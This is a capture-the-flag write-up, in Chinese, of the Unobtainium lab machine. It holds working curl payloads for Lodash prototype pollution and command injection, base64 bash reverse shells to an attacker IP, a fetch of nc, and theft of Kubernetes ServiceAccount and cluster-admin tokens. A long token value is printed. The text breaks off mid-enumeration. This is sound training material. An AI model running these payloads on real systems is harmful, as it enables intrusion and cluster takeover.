Unobtainium

1
2
3
4
5
ip a

10.129.136.226

TARGET="10.129.136.226"

Unobtainium

01.信息搜集

靶机发现

目标靶机 IP 为 10.129.136.226,首先使用 fscan 进行全端口扫描:

1
2
3
4
5
fscan -h $TARGET > fscan.log

22,80,8443,10250

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

fscan 发现 4 个开放端口:22 (SSH)、80 (HTTP)、8443 (HTTPS/K8s API)、10250 (Kubelet)。其中 8443 和 10250 端口提示目标可能运行 Kubernetes 集群。

02.渗透打点

端口扫描

使用 Nmap 对发现端口进行详细服务版本探测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
sudo nmap -sT -sV -sC -O -p 22,80,8443,10250 $TARGET -oA nmapscan/detail

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp open ssl/http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 5b636fef-a8a9-40e6-8f2b-168c9d181588
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Sat, 11 Jul 2026 06:11:09 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 7ee8793c-aaa8-47a0-a04b-f6a0ce0c6f57
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Sat, 11 Jul 2026 06:11:04 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 128e2c02-9abd-4a5a-a0c4-5ba05095782d
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Sat, 11 Jul 2026 06:11:07 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2027-07-11T06:05:04
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2027-07-11T06:05:05
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service

sudo nmap -Pn -sV -A -p 80 -T4 $TARGET


PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 555.30 ms 10.10.16.1
2 556.70 ms 10.129.136.226

关键发现:

  • 8443 端口:K3s API Server(SSL 证书 CN=k3s),返回 Kubernetes API 标准 JSON 响应(401 Unauthorized)。需要 ServiceAccount Token 或有效凭据才能访问。
  • 10250 端口:Kubelet API 端点,可用于直接与节点上的 Pod 交互(需 nodes/proxy 权限)。
  • 80 端口:Apache httpd,标题为 “Unobtainium”,是主要 Web 入口。

UDP 扫描

1
sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
1
2
3
4
5
PORT      STATE         SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp

UDP 层面未发现明显可利用的服务。

03.渗透测试

信息枚举与源码审计

应用发现与初步探测

访问 http://10.129.136.226/downloads/,发现一个校验文件(checksum.txt)和三个不同格式的 Linux 软件包:

1
2
3
c9fe8a2bbc66290405803c3d4a37cf28  unobtainium_1.0.0_amd64.deb
d61b48f165dab41af14c49232975f6a1 unobtainium_1.0.0_amd64.snap
9e35724c18f9f98192f0412c89ba54c7 unobtainium-1.0.0.x86_64.rpm

三种包格式的区别:

  • .deb(Debian/Ubuntu)与 .rpm(RHEL/CentOS)—— 不同 Linux 发行版的原生包格式,功能内容一致,仅打包规范不同。
  • .snap(Canonical Snap)—— 通用容器化包格式,自带所有依赖、沙箱运行、权限受限、支持自动更新,体积通常比 deb/rpm 大。

下载并安装 .deb 包进行分析:

1
wget http://10.129.136.226/downloads/unobtainium_debian.zip

注意:该二进制为 x86 架构,需在对应架构环境下运行。

安装后执行应用:

1
/opt/unobtainium/unobtainium

启动后弹出错误提示 “Unable to reach unobtainium.htb”,说明应用需要解析 unobtainium.htb 域名。添加本地 hosts 记录:

1
echo "10.129.136.226 unobtainium.htb" | sudo tee -a /etc/hosts

重新运行应用,界面包含 “Message Log” 和 “Todo” 功能,显示 JSON 格式数据。应用的行为在一定程度上反映了服务器端的实际状态。

Electron 应用逆向

该应用为 Electron 框架构建,资源文件通常打包为 app.asar,位于 /opt/unobtainium/resources/。使用 asar 工具解包:

1
2
3
sudo npm install -g asar
cd /opt/unobtainium/resources/
asar extract app.asar output/

查看 output/package.json 确认入口文件为 index.js。继续查看 src/js/todo.js,发现核心 API 请求逻辑,包含硬编码凭据:

1
2
3
4
5
6
7
8
9
$.ajax({
url: 'http://unobtainium.htb:31337/todo',
type: 'post',
data: JSON.stringify({
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "todo.txt"
}),
...
})

客户端源码中硬编码了 API 凭据 felamos / Winter2021,且 /todo 端点接受 filename 参数,疑似存在任意文件读取漏洞。

任意文件读取验证

使用 curl 直接调用 API 接口读取 todo.txt

1
2
3
curl -X POST http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

返回内容:

1
2
3
4
5
6
7
1. Create administrator zone.
2. Update node JS API Server.
3. Add Login functionality.
4. Complete Get Messages feature.
5. Complete ToDo feature.
6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n
7. Improve security

确认任意文件读取可用。继续读取服务器主源码文件 index.js

1
2
3
curl -X POST http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'

API 源码分析

获取到完整的 index.js 源码后,识别出以下关键信息:

用户体系:

1
2
3
4
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
  • felamos 为普通用户,无特殊权限。
  • admin 拥有 canDeletecanUpload 权限,但密码为随机生成(Math.random().toString(32)),无法直接登录。

API 路由:

路由 方法 功能 所需权限
/ GET 获取 messages 列表
/ PUT 创建 message(_.merge 合并) Auth
/ DELETE 删除 message Auth + canDelete
/upload POST 上传文件(调用 gsutil) Auth + canUpload
/todo POST 读取文件(fs.readFileSync Auth

完整源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
res.send(messages);
});

app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

const message = {
icon: '__',
};

_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

messages.push(message);
res.send({ok: true});
});

app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}


filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});

app.listen(3000);
console.log('Listening on port 3000...');

原型链污染 (Lodash _.merge)

源码审计发现两个关键攻击面:

1. 原型链污染 — _.merge

PUT / 路由中,_.merge(message, req.body.message, {...}) 将用户可控的 req.body.message 合并到 message 对象。Lodash 的 _.merge 在特定版本中存在原型链污染漏洞:当合并对象中包含 constructor.prototype(或 __proto__)路径时,可向 Object.prototype 注入任意属性。

admin 用户拥有 canDelete: truecanUpload: true,但密码未知。通过原型链污染将这两个属性注入全局 Object 原型,即可使 felamos 用户”继承” admin 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

# message 初始为 {icon: '__'},通过 _.merge 合并用户可控的 req.body.message。Lodash 的 merge 存在原型链污染漏洞,可注入 __proto__ 属性

{
"auth": {"name": "felamos", "password": "Winter2021"},
"message": {
"__proto__": {
"canDelete": true,
"canUpload": true
}
}
}

至此,felamos 获得了与 admin 等价的权限,可调用 /upload/delete 路由。

2. 命令注入 — /upload 路由

/upload 调用了第三方库 google-cloudstorage-commandsroot.upload("./", filename, true)),该库内部通过 child_process.exec 执行 gsutil 命令:

1
2
3
4
5
6
7
8
9
10
function upload(inputDirectory, bucket, force = false) {
return new Promise((yes, no) => {
let _path = path.resolve(inputDirectory)
let _rn = force ? '-r' : '-Rn'
let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`)
_cmd.on('exit', (code) => {
yes()
})
})
}

filename 参数直接拼接到 shell 命令中,无任何过滤,导致命令注入。

注意:该应用使用的 Lodash 版本可能较旧(< 4.17.12),部分版本中 __proto__ 被过滤,应改用 constructor.prototype 路径实现原型污染。

命令注入与初始立足点

结合原型链污染与命令注入,构建完整攻击链。首先通过 constructor.prototype 路径污染原型获取 admin 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
curl -X PUT http://unobtainium.htb:31337/ \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"message": {
"text": "test",
"constructor": {
"prototype": {
"canUpload": true,
"canDelete": true
}
}
}
}'

# 在攻击机监听
nc -lv 9001

# 执行 payload(注意替换你的 IP 和端口)
echo 'bash -i >& /dev/tcp/10.10.17.11/9001 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK

curl -X POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash"
}'

{"ok":true,"Uploaded_File":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash"}%

成功获得反向 Shell。当前以 root 身份运行在容器内,user.txt 即位于当前目录,说明 /root 目录通过 hostPath 挂载自宿主机。升级 Shell:

1
python -c "import pty;pty.spawn('/bin/bash')"

Kubernetes 环境探测

环境中存在 Kubernetes ServiceAccount 凭证挂载路径 /var/run/secrets/kubernetes.io/serviceaccount/,确认当前处于 K8s Pod 内部:

1
2
3
4
var/run/secrets/kubernetes.io/kubernetes.io/serviceaccount
ca.crt
namespace
token

检查环境变量获取 API Server 地址:

1
2
3
4
5
6
7
8
9
env | grep KUBERNETES
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443

背景知识:Kubernetes 默认将 ServiceAccount 凭证(Token + CA 证书 + Namespace)挂载到 /var/run/secrets/kubernetes.io/serviceaccount,容器内进程可通过这些凭据与 API Server 通信。

尝试直接调用 Kubelet API(10250 端口)列出所有 Pod:

1
2
3
4
5
6
7
8
9
10
11
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="10.129.136.226"
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

#
curl -s https://${NODE_IP}/api/v1/namespaces/$NS/pods/webapp-deployment-9546bc7cb-b7k2g --cacert $CA -H "Authorization: Bearer $TOKEN"

# 尝试通过 Kubelet API 列出所有 Pod(绕过 API Server)
curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN"
Forbidden (user=system:serviceaccount:default:default, verb=get, resource=nodes, subresource=proxy)

Kubelet 的 10250 端口提供与 API Server 等价的 Pod 管理接口,但需要 nodes/proxy 权限,当前 ServiceAccount 权限不足。

将凭证文件拷贝到本地,便于后续使用 kubectl 进行更系统的集群枚举:

1
2
3
4
5
cat token | base64
echo ".." | base64 -d > token

cat ca.crt | base64
echo ".." | base64 -d > ca.crt

集群枚举 (webapp Pod)

使用当前 Pod 的 ServiceAccount Token 通过 kubectl 查询自身权限:

1
2
3
4
5
6
7
8
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
[/api/*] [] [get]
[/apis/*] [] [get]
[/openapi/*] [] [get]

当前权限分析:

权限 说明
selfsubjectaccessreviews / selfsubjectrulesreviews create 仅能查询自身权限(auth can-i 底层实现)
namespaces get/list 可列出所有 Namespace
/api/*/apis/* 等 get 只读访问 API 发现端点
不包含 pods、services、secrets、configmaps 等 无法读取集群内部资源

首先枚举所有 Namespace:

1
2
3
4
5
6
7
8
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get namespaces

NAME STATUS AGE
default Active 3y316d
kube-system Active 3y316d
kube-public Active 3y316d
kube-node-lease Active 3y316d
dev Active 3y316d

重点关注 devkube-system 命名空间。检查在 dev 命名空间中的权限:

1
2
3
4
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n dev

namespaces [] [] [get list]
pods [] [] [get list]

dev 命名空间中拥有 get/list pods 权限。列出 dev namespace 中所有 Pod:

1
2
3
4
5
6
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get pods -n dev -o wide

NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.69 unobtainium <none> <none>
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.68 unobtainium <none> <none>
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (2y257d ago) 3y316d 10.42.0.70 unobtainium <none> <none>

Dev 命名空间下有 3 个运行中的 Pod。验证当前 Pod 与目标 Pod 之间的网络连通性:

1
2
PING 10.42.0.69 (10.42.0.69) 56(84) bytes of data.
64 bytes from 10.42.0.69: icmp_seq=1 ttl=64 time=0.263 ms

尝试通过 31337 端口(原应用的 NodeJS API 端口)访问 dev Pod:

1
2
3
curl -X POST http://10.42.0.69:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

不可达。查看 Pod 详细配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 describe pod devnode-deployment-776dbcf7d6-7gjgf -n dev

Name: devnode-deployment-776dbcf7d6-7gjgf
Namespace: dev
Priority: 0
Service Account: default
Node: unobtainium/10.129.136.226
Start Time: Mon, 29 Aug 2022 17:32:21 +0800
Labels: app=devnode
pod-template-hash=776dbcf7d6
Annotations: <none>
Status: Running
IP: 10.42.0.69
IPs:
IP: 10.42.0.69
Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
devnode:
Container ID: docker://6c22469b2fa7cf679b07b7a658ca4469ef167dafdd22e8241c14a34598ea01f6
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Sat, 11 Jul 2026 14:05:38 +0800
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Fri, 27 Oct 2023 23:17:50 +0800
Finished: Fri, 27 Oct 2023 23:24:53 +0800
Ready: True
Restart Count: 6
Environment: <none>
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-snd89 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
kube-api-access-snd89:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
Optional: false
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>

关键发现:容器暴露端口为 3000/TCP(默认端口),而非 31337。31337 是原 webapp Pod 中 NodePort Service 对外暴露的端口。改用 3000 端口重试:

1
2
3
curl -X POST http://10.42.0.69:3000/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

成功!Dev Pod 上运行了相同的 NodeJS 应用,凭据复用有效。

横向移动 (dev 命名空间)

对 dev 命名空间下的 Pod 重复原型链污染 + 命令注入攻击,获取多个 Shell。首先上传 nc 到 webapp Pod(便于后续操作):

1
curl http://10.10.17.11:8080/nc -o /tmp/nc

生成多个反向 Shell payload(分别监听 9002、9003、9004):

1
2
3
4
5
6
7
8
9
10
11
12
13
# webapp2
echo 'bash -i >& /dev/tcp/10.10.17.11/9002 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK (9002)
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAzIDA+JjEK (9003)
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDA0IDA+JjEK (9004)


curl -X POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK | base64 -d | bash"
}'

验证 dev Pod 凭据复用(同一套 felamos/Winter2021 可认证),执行原型链污染获取上传权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl -X PUT http://10.42.0.69:3000/ \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"message": {
"text": "test",
"constructor": {
"prototype": {
"canUpload": true,
"canDelete": true
}
}
}
}'

向 dev Pod 注入反向 Shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# dev1
nc -lvnp 8001

echo 'bash -i >& /dev/tcp/10.42.0.71/8001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo=

curl -X POST http://10.42.0.69:3000/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo= | base64 -d | bash"
}'


# dev2
echo 'bash -i >& /dev/tcp/10.42.0.71/8003 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDIgMD4mMQo=

curl -X POST http://10.42.0.69:3000/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDMgMD4mMQo= | base64 -d | bash"
}'

进入 dev Pod 后提取其 ServiceAccount Token(dev namespace 的 default ServiceAccount 可能拥有不同于 webapp namespace 的权限):

1
2
3
4
5
6
cd /var/run/secrets/kubernetes.io/serviceaccount/
cat token | base64
echo ".." | base64 -d > token

cat ca.crt | base64
echo ".." | base64 -d > ca.crt

集群提权 (cluster-admin)

Dev Pod 中未发现 flag 文件,下一步目标是 kube-system 命名空间。使用 dev Pod 的 Token 向 API Server(10.129.136.226:8443)查询在 kube-system 中的权限:

1
2
3
4
5
6
7
8
9
10
11
12
# 读取对system的权限
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n kube-system
secrets [] [] [get list]

# 列出 kube-system 中的所有 Secret
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get secrets -n kube-system
NAME TYPE DATA AGE
unobtainium.node-password.k3s Opaque 1 3y316d
...
default-token-h5tf2 kubernetes.io/service-account-token 3 3y316d
c-admin-token-b47f7 kubernetes.io/service-account-token 3 3y316d
k3s-serving kubernetes.io/tls 2 117m

Dev 的 ServiceAccount 在 kube-system 中拥有 get/list secrets 权限。发现两个关键 Secret:

  • c-admin-token-b47f7:cluster-admin 的 ServiceAccount Token,获取后即拥有集群完全控制权(*.* [*])。
  • unobtainium.node-password.k3s:K3s 节点密码,可能用于节点级别的操作。

读取 cluster-admin Token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
TOKEN=token
CA=ca.crt
SERVER=https://10.129.136.226:8443

# 读 c-admin-token(cluster-admin)
kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0t..LS0K",
"namespace": "a3ViZS1zeXN0ZW0=",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ=="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubernetes.io/service-account.name": "c-admin",
"kubernetes.io/service-account.uid": "31778d17-908d-4ec3-9058-1e523180b14c"
},
"creationTimestamp": "2022-08-29T09:32:33Z",
"name": "c-admin-token-b47f7",
"namespace": "kube-system",
"resourceVersion": "707",
"uid": "7778ef55-db34-406d-b256-1704ec78236e"
},
"type": "kubernetes.io/service-account-token"
}

# base64 -d > passtoken


# 用 cluster-admin token 获取完全权限 (直接passtoken也行)
ADMIN_TOKEN=$(kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o jsonpath='{.data.token}' | base64 -d)

# 验证权限
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]

*.* [*][*] [*] —— 已获得 Kubernetes 集群的完全控制权限。

使用 cluster-admin 权限进行全局探测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# 1. 列出所有 namespace
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get ns

# 2. 列出所有 secret(找 flag)
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get secrets --all-namespaces

# 3. 列出所有 pod(看有没有 flag 容器)
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pods --all-namespaces -o wide
kube-system backup-pod 0/1 CrashLoopBackOff 60 (4m41s ago) 3y316d 10.42.0.64 unobtainium

# 4. 看看back
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pod backup-pod -n kube-system -o yaml
apiVersion: v1
kind: Pod
metadata:
